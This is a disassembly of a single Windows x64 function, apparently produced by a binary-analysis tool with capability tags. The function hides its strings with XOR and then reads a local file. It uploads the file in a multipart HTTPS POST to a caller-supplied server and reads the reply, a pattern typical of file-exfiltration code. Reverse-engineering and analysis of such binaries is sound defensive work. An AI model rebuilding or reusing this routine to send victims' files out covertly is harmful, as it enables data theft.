Function at 0x6ff91df0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x578
mov qword [rsp + 0x5c0], rcx
mov ecx, 0x30
mov qword [rsp + 0x5c8], rdx
mov qword [rsp + 0x5d0], r8
mov qword [rsp + 0x5d8], r9
call sym.main.exe_generate_boundary_int_
mov r12, rax
mov eax, 0xe6
test r12, r12
je 0x6ff92a3c
mov rcx, qword [rsp + 0x5d0]
mov edx, 0x2f
call sub.msvcrt.dll_strrchr
mov rsi, qword [rsp + 0x5d0]
test rax, rax
je 0x6ff91e61
lea rsi, [rax + 1]
mov byte [rsp + 0x19d], 0
lea rdx, [rsp + 0x19c]
movabs rax, 0x3a202b3a20210d4e
mov qword [rsp + 0x170], rax
movabs rax, 0x236e742b3e371a63
mov qword [rsp + 0x178], rax
movabs rax, 0x3a3c2f3e273a223b
mov qword [rsp + 0x180], rax
movabs rax, 0x2f2a63233c212861
mov qword [rsp + 0x188], rax
movabs rax, 0x203b212c6e752f3a
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x170]
mov dword [rsp + 0x198], 0x373c2f2a
mov byte [rsp + 0x19c], 0x73
mov qword [rsp + 0x48], rax
xor byte [rax + 1], 0x4e
inc rax
cmp rax, rdx
jne 0x6ff91eeb
mov byte [rsp + 0x19d], 0
or r8, 0xffffffffffffffff
lea rbp, [rsp + 0x171]
xor eax, eax
mov rcx, r8
mov rdi, rbp
repne scasb al, byte [rdi]
mov rdi, r12
mov rdx, rcx
mov rcx, r8
repne scasb al, byte [rdi]
not rdx
mov rax, rcx
not rax
lea r13, [rdx + rax - 1]
mov rcx, r13
call sub.msvcrt.dll_malloc
mov r15, rax
test rax, rax
je 0x6ff92210
mov byte [rsp + 0x19f], 0
movabs rax, 0x160c07160c0d2162
lea rdx, [rsp + 0x19e]
mov qword [rsp + 0x170], rax
movabs rax, 0xf425807121b364f
mov qword [rsp + 0x178], rax
movabs rax, 0x161003120b160e17
mov qword [rsp + 0x180], rax
movabs rax, 0x3064f0f100d044d
mov qword [rsp + 0x188], rax
movabs rax, 0xc170d0042590316
mov dword [rsp + 0x198], 0x1b100306
mov word [rsp + 0x19c], 0x475f
mov byte [rsp + 0x19e], 0x11
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x62
inc rax
cmp rax, rdx
jne 0x6ff91fce
mov r9, r12
mov r8, rbp
mov rdx, r13
mov rcx, r15
mov byte [rsp + 0x19f], 0
lea rdi, [rsp + 0x6d]
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
mov dword [rsp + 0x6c], 0x2d2d13
or r8, 0xffffffffffffffff
xor eax, eax
mov rcx, r8
repne scasb al, byte [rdi]
mov rdi, r12
mov rdx, rcx
mov rcx, r8
repne scasb al, byte [rdi]
not rdx
mov byte [rsp + 0xaa], 0
mov word [rsp + 0xa8], 0x4b54
mov rax, rcx
not rax
lea r9, [rdx + rax - 2]
lea rdx, [rsp + 0xa9]
movabs rax, 0xc1d07062a636469
mov qword [rsp + 0x70], rax
movabs rax, 0x6191a002d441d07
mov qword [rsp + 0x78], rax
movabs rax, 0x49530706001d001a
mov qword [rsp + 0x80], rax
movabs rax, 0x1d080d44041b060f
mov qword [rsp + 0x88], rax
movabs rax, 0x540c040807495208
mov qword [rsp + 0x90], rax
movabs rax, 0x49524b0c05000f4b
mov qword [rsp + 0x98], rax
movabs rax, 0xc0408070c05000f
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x70]
xor byte [rax + 1], 0x69
inc rax
cmp rax, rdx
jne 0x6ff920bb
mov byte [rsp + 0xaa], 0
or rdx, 0xffffffffffffffff
lea rbx, [rsp + 0x71]
xor eax, eax
mov rcx, rdx
mov rdi, rbx
repne scasb al, byte [rdi]
mov rdi, rsi
not rcx
mov r8, rcx
mov rcx, rdx
repne scasb al, byte [rdi]
mov byte [rsp + 0x1c1], 0
add r8, r9
mov byte [rsp + 0x1c0], 0x6a
mov rax, rcx
lea rcx, [rsp + 0x1c0]
not rax
lea rdx, [rax - 1]
movabs rax, 0x140e0f236a6d4260
mov qword [rsp + 0x170], rax
movabs rax, 0x51019344d140e05
mov qword [rsp + 0x178], rax
movabs rax, 0x3090c101001405a
mov qword [rsp + 0x180], rax
movabs rax, 0x30f4f0e0f091401
mov qword [rsp + 0x188], rax
movabs rax, 0x51214134d140514
mov qword [rsp + 0x190], rax
movabs rax, 0x140e0f236a6d0d01
mov qword [rsp + 0x198], rax
movabs rax, 0xe0112344d140e05
mov qword [rsp + 0x1a0], rax
movabs rax, 0x30e254d12050613
mov qword [rsp + 0x1a8], rax
movabs rax, 0x2405a070e09040f
mov qword [rsp + 0x1b0], rax
movabs rax, 0x6d6a6d1912010e09
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x60
inc rax
cmp rcx, rax
jne 0x6ff921ce
mov byte [rsp + 0x1c1], 0
xor eax, eax
mov rdi, rbp
add rdx, r8
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea r14, [rcx + rdx - 1]
mov rcx, r14
call sub.msvcrt.dll_malloc
mov r13, rax
test rax, rax
jne 0x6ff92222
mov rcx, r15
call fcn.6ff8e408
mov rcx, r12
call fcn.6ff8e408
mov eax, 0xe6
jmp 0x6ff92a3c
mov byte [rsp + 0x200], 0
lea rdx, [rsp + 0x1ff]
movabs rax, 0x773e394711191934
mov qword [rsp + 0x170], rax
movabs rax, 0x7019405a51405a5b
mov qword [rsp + 0x178], rax
movabs rax, 0x5d405d475b44475d
mov qword [rsp + 0x180], rax
movabs rax, 0x59465b52140e5a5b
mov qword [rsp + 0x188], rax
movabs rax, 0x5a140f5540555019
mov qword [rsp + 0x190], rax
movabs rax, 0x585d521609515955
mov qword [rsp + 0x198], rax
movabs rax, 0x51585d52140f1651
mov qword [rsp + 0x1a0], rax
movabs rax, 0x471116095159555a
mov qword [rsp + 0x1a8], rax
movabs rax, 0x51405a5b773e3916
mov qword [rsp + 0x1b0], rax
movabs rax, 0xe51444d6019405a
mov qword [rsp + 0x1b8], rax
movabs rax, 0x55575d5844445514
mov qword [rsp + 0x1c0], rax
movabs rax, 0x40575b1b5a5b5d40
mov qword [rsp + 0x1c8], rax
movabs rax, 0x5551464047194051
mov qword [rsp + 0x1d0], rax
movabs rax, 0x51405a5b773e3959
mov qword [rsp + 0x1d8], rax
movabs rax, 0x475a55466019405a
mov qword [rsp + 0x1e0], rax
movabs rax, 0x5b575a7119465152
mov qword [rsp + 0x1e8], rax
movabs rax, 0x5d56140e535a5d50
mov qword [rsp + 0x1f0], rax
movabs rax, 0x3e393e394d46555a
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x34
inc rax
cmp rdx, rax
jne 0x6ff9237b
mov qword [rsp + 0x20], rsi
mov rdx, r14
mov r9, r12
mov r8, rbp
mov rcx, r13
mov byte [rsp + 0x200], 0
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
mov byte [rsp + 0x75], 0
lea rax, [rsp + 0x70]
lea rdx, [rsp + 0x74]
mov dword [rsp + 0x70], 0x4661666b
mov byte [rsp + 0x74], 0x46
xor byte [rax + 1], 0x6b
inc rax
cmp rdx, rax
jne 0x6ff923c1
mov byte [rsp + 0x75], 0
or rdx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
mov rcx, rdx
repne scasb al, byte [rdi]
mov rdi, r12
mov rbx, rcx
mov rcx, rdx
repne scasb al, byte [rdi]
not rbx
mov byte [rsp + 0x175], 0
mov dword [rsp + 0x170], 0x1f3f3f12
mov byte [rsp + 0x174], 0x18
mov rax, rcx
lea rcx, [rsp + 0x174]
not rax
lea rdx, [rbx + rax - 2]
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x12
inc rax
cmp rcx, rax
jne 0x6ff92421
mov byte [rsp + 0x175], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbp
repne scasb al, byte [rdi]
not rcx
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x40], rdx
call sub.msvcrt.dll_malloc
mov rdx, qword [rsp + 0x40]
test rax, rax
mov r14, rax
je 0x6ff92563
mov byte [rsp + 0x17b], 0
lea rcx, [rsp + 0x17a]
movabs rax, 0x15f09010126212c
mov word [rsp + 0x178], 0x2101
mov byte [rsp + 0x17a], 0x26
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x2c
inc rax
cmp rax, rcx
jne 0x6ff9249d
mov r9, r12
mov r8, rbp
mov rcx, r14
mov byte [rsp + 0x17b], 0
call sym.main.exe_snprintf_char__unsigned_long_long__char_const__::_
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x5d0]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov r8d, 1
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x6ff92524
mov rcx, r14
call fcn.6ff8e408
mov rcx, r13
call fcn.6ff8e408
mov rcx, r15
call fcn.6ff8e408
mov rcx, r12
call fcn.6ff8e408
mov eax, 0xe1
jmp 0x6ff92a3c
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov eax, ecx
mov rbx, rcx
mov qword [rsp + 0x50], rax
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11, qword [rsp + 0x40]
test rax, rax
jne 0x6ff92570
mov rcx, r11
call rsi
mov rcx, r14
call fcn.6ff8e408
mov rcx, r13
call fcn.6ff8e408
jmp 0x6ff92208
mov qword [rsp + 0x40], r11
mov rcx, r11
lea r9, [rsp + 0x60]
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rax
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r11, qword [rsp + 0x40]
mov r10, qword [rsp + 0x58]
test eax, eax
je 0x6ff925fd
cmp dword [rsp + 0x60], ebx
jne 0x6ff925fd
or rbx, 0xffffffffffffffff
mov rcx, r11
mov rdi, r13
call rsi
xor eax, eax
mov rcx, rbx
repne scasb al, byte [rdi]
mov rdi, r14
mov rdx, rcx
mov rcx, rbx
repne scasb al, byte [rdi]
mov rax, qword [rsp + 0x50]
sub rax, rdx
not rcx
lea rbp, [rax + rcx - 3]
mov rcx, rbp
call sub.msvcrt.dll_malloc
mov r10, qword [rsp + 0x58]
test rax, rax
mov qword [rsp + 0x40], rax
jne 0x6ff9263e
mov rcx, r10
call fcn.6ff8e408
jmp 0x6ff9255b
mov rcx, r11
mov qword [rsp + 0x40], r10
call rsi
mov r10, qword [rsp + 0x40]
mov rcx, r10
call fcn.6ff8e408
mov rcx, r14
call fcn.6ff8e408
mov rcx, r13
call fcn.6ff8e408
mov rcx, r15
call fcn.6ff8e408
mov rcx, r12
call fcn.6ff8e408
mov eax, 0xe2
jmp 0x6ff92a3c
xor eax, eax
mov rcx, rbx
mov rdi, r13
mov rsi, r13
repne scasb al, byte [rdi]
mov rdi, qword [rsp + 0x40]
not rcx
dec rcx
rep movsb byte [rdi], byte [rsi]
mov rcx, rbx
mov rdi, r13
mov rsi, qword [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rax, [rsi + rcx - 1]
mov rsi, r10
mov rcx, qword [rsp + 0x50]
mov rdi, rax
xor eax, eax
rep movsb byte [rdi], byte [rsi]
mov rcx, rbx
mov rdi, r14
mov rsi, r14
repne scasb al, byte [rdi]
mov rdi, r13
not rcx
lea rdx, [rcx - 1]
mov rcx, rbx
repne scasb al, byte [rdi]
mov rax, qword [rsp + 0x50]
mov rbx, rcx
mov rcx, rdx
not rbx
lea rax, [rax + rbx - 1]
add rax, qword [rsp + 0x40]
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, r10
call fcn.6ff8e408
mov rcx, r14
call fcn.6ff8e408
mov rcx, r13
call fcn.6ff8e408
mov byte [rsp + 0x179], 0
movabs rax, 0x100f116e6a6a763e
lea rdx, [rsp + 0x178]
mov byte [rsp + 0x178], 0xf
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x48]
xor byte [rax + 1], 0x3e
inc rax
cmp rax, rdx
jne 0x6ff926fa
lea r13, [rsp + 0x171]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov byte [rsp + 0x179], 0
mov rcx, r13
lea rbx, [rsp + 0x170]
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
je 0x6ff9293d
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov rcx, rax
mov rdx, qword [rsp + 0x5c0]
mov dword [rsp + 0x30], 0
mov r8d, 0x1bb
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x6ff927b9
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e408
mov rcx, r15
call fcn.6ff8e408
mov rcx, r12
call fcn.6ff8e408
mov eax, 0xe5
jmp 0x6ff92a3c
mov byte [rsp + 0x175], 0
mov rax, rbx
lea rdx, [rsp + 0x174]
mov dword [rsp + 0x170], 0x75697626
mov byte [rsp + 0x174], 0x72
xor byte [rax + 1], 0x26
inc rax
cmp rax, rdx
jne 0x6ff927df
mov rdx, r13
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov byte [rsp + 0x175], 0
mov dword [rsp + 0x30], 0x800000
mov r8, qword [rsp + 0x5c8]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
jne 0x6ff9286e
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rbx
mov rcx, r14
call rbx
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e408
mov rcx, r15
call fcn.6ff8e408
mov rcx, r12
call fcn.6ff8e408
mov eax, 0xe4
jmp 0x6ff92a3c
lea r8, [rsp + 0x64]
mov edx, 6
mov rcx, rax
mov rdi, r15
mov r9d, 4
mov dword [rsp + 0x64], 0xea60
call qword [sym.imp.WININET.dll_InternetSetOptionA]
or rcx, 0xffffffffffffffff
xor eax, eax
mov r9, qword [rsp + 0x40]
repne scasb al, byte [rdi]
mov rdx, r15
mov dword [rsp + 0x20], ebp
not rcx
lea r8d, [rcx - 1]
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x6ff9290b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
mov ebx, eax
call rsi
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e408
mov rcx, r15
call fcn.6ff8e408
mov rcx, r12
call fcn.6ff8e408
xor eax, eax
cmp ebx, 0x2ee2
sete al
lea eax, [rax*4 + 0xe3]
jmp 0x6ff92a3c
mov ecx, 1
call sub.msvcrt.dll_malloc
mov rsi, qword [rsp + 0x5d8]
mov qword [rsi], rax
test rax, rax
jne 0x6ff92947
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, qword [rsp + 0x48]
call rbx
mov rcx, r14
call rbx
mov rcx, qword [rsp + 0x40]
jmp 0x6ff92566
mov byte [rax], 0
mov rbp, qword [sym.imp.WININET.dll_InternetReadFile]
lea rsi, [rsp + 0x68]
mov dword [rsp + 0x68], 0
mov r9, rsi
mov r8d, 0x3ff
mov rdx, rbx
mov rcx, r13
call rbp
test eax, eax
je 0x6ff9297b
mov edx, dword [rsp + 0x68]
test edx, edx
jne 0x6ff929ea
lea r8, [rsp + 0x70]
lea r9, [rsp + 0x6c]
mov edx, 0x13
mov rcx, r13
mov qword [rsp + 0x50], r8
mov dword [rsp + 0x6c], 0x100
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, qword [rsp + 0x48]
call rbx
mov rcx, r14
call rbx
mov rcx, qword [rsp + 0x40]
call fcn.6ff8e408
mov rcx, r15
call fcn.6ff8e408
mov rcx, r12
call fcn.6ff8e408
mov r8, qword [rsp + 0x50]
mov rcx, r8
call sub.msvcrt.dll_atoi
jmp 0x6ff92a3c
mov rax, qword [rsp + 0x5d8]
mov byte [rsp + rdx + 0x170], 0
or rcx, 0xffffffffffffffff
mov r8, qword [rax]
xor eax, eax
mov rdi, r8
repne scasb al, byte [rdi]
mov rax, rcx
mov rcx, r8
not rax
add rdx, rax
call sub.msvcrt.dll_realloc
mov rdx, rbx
mov rcx, rax
mov rax, qword [rsp + 0x5d8]
mov qword [rax], rcx
call sub.msvcrt.dll_strcat
mov dword [rsp + 0x68], 0
jmp 0x6ff9295e
add rsp, 0x578
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret